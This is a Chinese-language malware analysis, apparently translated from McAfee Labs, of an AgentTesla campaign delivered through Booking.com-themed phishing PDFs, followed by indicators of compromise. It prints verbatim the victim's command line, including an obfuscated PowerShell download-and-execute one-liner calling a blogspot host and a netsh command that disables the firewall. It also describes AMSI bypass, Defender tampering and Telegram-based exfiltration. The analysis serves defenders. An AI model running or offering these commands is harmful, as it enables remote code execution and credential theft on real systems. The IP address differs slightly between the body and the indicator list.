写在前面的话
本文将对近期互联网环境中通过PDF文件分发恶意软件的活动趋势进行介绍,并以AgentTesla为例,对相关恶意软件活动所使用的技术进行深入研究和分析。
近期,McAfee Labs的安全研究人员观察到通过PDF文件分发恶意软件的活动数量出现了大幅增长。很多恶意软件不仅仅可以通过恶意网站或下载链接来进行分发感染,而且有些恶意软件实例会更加偏向于通过网络钓鱼邮件和邮件中的PDF恶意附件来实现传播。根据McAfee的遥测数据显示,在过去的三个月时间里,通过非可移植可执行程序(non-PE)作为载体进行分发的恶意软件活动趋势变化如下图所示:
为什么选择PDF?
针对那些通过互联网传递Office文件的场景,微软上线了一个名为宏阻止(macro-blocking)的功能。至此之后,威胁行为者被迫开始寻求通过电子邮件来分发恶意软件的替代方法。PDF文件的复杂结构使得它更加容易受到攻击和感染,同时这也提升了检测PDF恶意内容的难度。在常见的电子邮件附件分发场景中,PDF毫无疑问是一种非常常见的文件格式,而通过PDF来欺骗和感染目标用户的方法也是威胁行为者最有效的攻击途径之一。
威胁行为者可以轻松构建出基于PDF的恶意软件,其中通常会包含托管在外部网站上的恶意Payload。当用户在交互(例如点击链接)时,这些PDF将从外部网站下载Payload,从而大大增加了安全风险。
感染链
在基于PDF的恶意软件分发场景中,威胁行为者通常会先从包含PDF附件的电子邮件开始着手,将恶意邮件发送给目标用户,以此来实现最终Payload的传播和感染。在Acrobat Reader的过时且未修复漏洞的版本中,PDF会使用MSHTA直接执行嵌入的JavaScript代码,然后启动PowerShell,并最终实现进程注入。而在最新版本的Acrobat Reader中,PDF是无法直接执行JavaScript代码的。但是,它们可以重定向到恶意网站,并从恶意网站下载JavaScript脚本,而之后的流程就没有太大变化了,大致流程如下图所示:
初始感染
首先,我们讨论涉及Acrobat Reader更新版本的场景,因为大多数用户可能都会安装此版本。一般来说,这些PDF会使用各种主题进行伪装,例如显示突出下载按钮的财务资料、提示立即操作的消息、或看似跳转到良性地址的按钮等等。
在近期的一次攻击事件中,威胁行为者使用了一个名为“Booking.com-1728394029.pdf”的PDF文件。从文件名来看,威胁行为者主要针对的是Booking.com的用户。打开该文件后,会弹出一个提示框,大致意思是“播放器不兼容”:
在对该PDF进行内部深入分析后,我们在其中的对象数据中识别了一些十六进制数据和嵌入的URL。在下图中,红色框中突出显示的URL“https://bit[.]ly/newbookingupdates“是一个Bitly URL。威胁行为者使用了Bitly URL来隐藏恶意链接,以此来增加安全检测难度。在欺骗用户泄露敏感信息的网络钓鱼方案中,这种方法特别有用。Bitly的动态链接允许威胁行为者更改目标,增强了他们逃避检测的能力。除此之外,他们还会利用与Bitly相关的信任来提高其社工策略的成功率。
此URL目的就是连接到https://bio0king[.]blogspot[.]com:
上图中黄色标记的数据为十六进制格式,转换成ASCII后的结果如下:
这就是之前PDF打开之后的弹窗信息的来源了。
点击“确定”按钮之后,Adobe Player会弹出另一个提示,并提示用户将于上面提到的网络地址建立连接(bit.ly):
授予重定向权限后,目标用户将被定向到“https://bio0king[.]blogspot[.]com”,在这里,威胁行为者就在尝试伪装成合法的Booking.com。如下图所示,Microsoft Defender SmartScreen会提醒用户此网站可能是恶意网站:
在访问该网站时,我们发现浏览器会迅速下载一个名为“Booking.com-1728394029.js”的JavaScript文件,这个JavaScript文件的名字跟PDF文件的名字相同,这样就可以欺骗目标用户去打开它了:
开始下载之后,便会立即触发指向合法Booking.com网站的重定向,旨在防止用户检测到任何可疑活动。下载的文件会存储在目标用户系统上的Downloads文件夹中:
研究人员发现,这个JavaScript文件的代码经过了高度混淆处理,这也是威胁行为者隐藏代码、增加分析难度和规避安全检测的常见手段:
恶意文件执行
JavaScript执行后,我们观察到了下列进程树:
命令行:
“C:\Windows\System32\WScript.exe” ” C:\Users\admin\Downloads\ Booking.com-1728394029.js” “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm htloctmain25.blogspot.com/////////////////////////atom.xml) | . (‘i*x’).replace(‘*’,’e’);Start-Sleep -Seconds 5 \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 “C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe” /noconfig /fullpaths @”C:\Users\admin\AppData\Local\Temp\mk2qsd2s.cmdline” C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\admin\AppData\Local\Temp\RES6D2D.tmp” “c:\Users\admin\AppData\Local\Temp\CSC7C83DF075A344945AED4D733783D6D80.TMP” “C:\Windows\system32\netsh.exe” advfirewall set allprofiles state off -ErrorAction SilentlyContinue “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe”
解码并执行“Booking.com-1728394029.js”后,我们发现代码会请求“htloctmain25.blogspot.com/////////////////////////atom.xml”。
接下来,代码会调用PowerShell命令行,并尝试访问路径为“htloctmain25.blogspot.com/////////////////////////atom.xml”的文件,然后使用Invoke-Expression(iex)来执行该文件。此时,威胁行为者将试图通过在PowerShell命令行中使用replace命令来混淆Invoke-Expression命令。
托管在“htloctmain25.blogspot.com/////////////////////////atom.xml”的文件名为“atom.ps1”,大小约为5.5MB,文件内容如下图所示:
上图所示的脚本代码大致做了下面几件事情:
1、脚本顶部标记为红色的内容表示它将终止几个指定的进程,包括“RegSvcs”、“mshta”、“wscript”、“msbuild”、“FoxitPDFReader”,这很可能是为了将最终Payload注入到这些文件的其中一个。除此之外,该脚本会在“C:\ProgramData\MINGALIES”处创建一个目录,以供将来使用。
2、脚本中标记为蓝色的内容表示解密函数,标记为“asceeeeeeeeeee”,该函数随后用于解密脚本中的各种变量。
3、脚本末尾的绿色标记内容概述了恶意软件持久性机制的实现,并描述了注入合法可执行文件的过程。
4、为便于参考和理解,脚本中定义的变量已相应编号,重要变量的解密指令以黄色突出显示。
5、按照指令序列,如果终止任何指定的进程,则脚本会继续定义变量1和2,随后在脚本中定义解密循环。在解密循环之后,在脚本中定义了名为“Phudigum”的变量3。然后,脚本解密变量3,并使用Invoke-Expression命令执行获得的解码数据。
检测&防御规避
变量3的解密后的内容如下所示:
代码首先会设置一个特定的值来绕过Microsoft Windows反恶意软件扫描接口(AMSI)的扫描,然后继续创建用于实现持久化的注册表项。该脚本还定义了与系统内存交互的函数,并将全局错误操作首选项设置为静默继续,以屏蔽任何错误。接下来,它会检查名为AMSIReaper的类型是否存在,如果不存在,则使用各种声明来定义该类型以实现与Windows kernel32.dll交互,其中包括与进程内存操作相关的函数。
除此之外,该脚本还会执行一系列恶意操作以危害目标系统的安全。它首先在Windows Defender中添加特定文件扩展名、路径和进程的排除项,以有效地规避对这些内容的检测。随后,它尝试更改各种Windows Defender首选项,例如禁用入侵防御系统、实时监控和脚本扫描等关键安全功能,同时还会调整与威胁操作和报告相关的设置。该脚本还会试图修改与用户帐户控制(UAC)关联的注册表设置,并禁用Windows防火墙,从而进一步削弱系统的防御能力。最后,它将全局错误操作首选项重置为继续,并隐藏在执行过程中可能遇到的任何错误,以确保脚本的恶意操作不会被检测到。
权限提升
脚本后续的指令涉及使用解密函数“asceeeeeeeeeee”对上图脚本代码中标记为“bulgumchupitum”的变量2进行解密。相同的操作由Invoke Expression命令执行,以下是变量2的解密内容:
解密变量2后得到的内容非常重要,上图代码中以红色标记的部分将执行下列操作:
1、引入一个专门定制的解密函数,函数名为“kimkarden”。
2、除此之外,之前代码图中标记为变量1的变量“muthal”会在这个脚本中使用。
3、最后,使用解密函数“kimkarden”对两个变量“muthal”和“pings”的内容进行解密,并在上图代码中存储到$data1和$data2中数组中,分别标记为5和6。
4、$data1和$data2被证实为.NET可执行文件。
上图代码中蓝色标记的部分将执行以下操作:
1、短暂睡眠后,脚本将使用解码后的data1来加载.NET程序集,并通过反射来执行命令。
2、该脚本定义了一个名为“ExecuteCommand”的函数,该函数利用反射从名为“A.B”的类型中动态调用方法“C”。
3、定义各种路径指向.NET可执行文件。
4、使用$nullArray和参数调用$invokeMethod,即.NET可执行文件和$data2的路径。
进程注入
$data1包含了一个.NET DLL文件,如之前所述,脚本会从“A.B”的类型中动态调用方法“C”。虽然代码经过了高度模糊处理,但可以观察到方法“C”的存在(黄色部分),而且在脚本中还有一个特定的函数,用于传递.NET可执行文件和数据的路径(红色部分):
这个DLL负责将$data2作为Payload注入到Regsvcs.exe进程中,下图显示了$data2的配置信息,会被伪装成合法的McAfee包文件,但明显它没有合法的签名证书:
可执行文件也经过了高度混淆处理,因此其内容无法直接查看读取:
针对浏览器的操作
通过对上图代码进行逆向分析后,我们发现恶意软件会尝试查询浏览器以获取各种信息,下图高亮显示的指令在解密后会给出Opera浏览器的路径:
下面的ProcMon日志显示了恶意软件查询的所有浏览器信息:
凭证访问
恶意软件还会尝试窃取各种敏感信息,例如浏览器历史记录、Cookie、凭证数据、SMTP信息、会话信息和电子邮件客户端数据,如Otlook配置文件等:
数据提取
下图显示的调试代码可以查看到恶意软件用于实现数据提取的域名地址:
ProcMon日志也显示了类似的行为:
IP地址147.154.167.220的DNS记录显示该地址属于Telegram messenger:
下图显示的是用于实现数据提取的TelegramBot:
简而言之,该脚本的任务是解码Payload,检索合.NET可执行文件路径,执行进程注入以执行恶意软件,收集数据,并最终提取数据。
总结
本文以AgentTesla恶意软件为例,突出强调了基于PDF的网络攻击行为的复杂性,并详细介绍了恶意活动从初始感染到最终数据提取所使用的相关技术策略即路径。由此可见,威胁行为的演变和进化给安全防御人员的检测和缓解工作提出了重大挑战。
入侵威胁指标IoC
PDF :8f8264c173e6d036e87b706dbb87e3036ae17df32e53a683c87bff94fce2c242 Javascript:3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b ps1文件:db726e060f4feccf4bdfa843e3c10cbac80509585fd55c6d1bfce5e312a4e429 dll:5b6d8f91201ba9c879e46062190817954e28ceb61a67e55870bb61d1960854ee exe:dec2ce698ab8600d96dd3353b5e47d802441c6df18aed1dd6a2b78311369659e IPv4 :149.154.167.220 URL:http://htloctmain25.blogspot[.]com/atom.xml URL :https://bio0king[.]blogspot[.]com
参考资料
https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked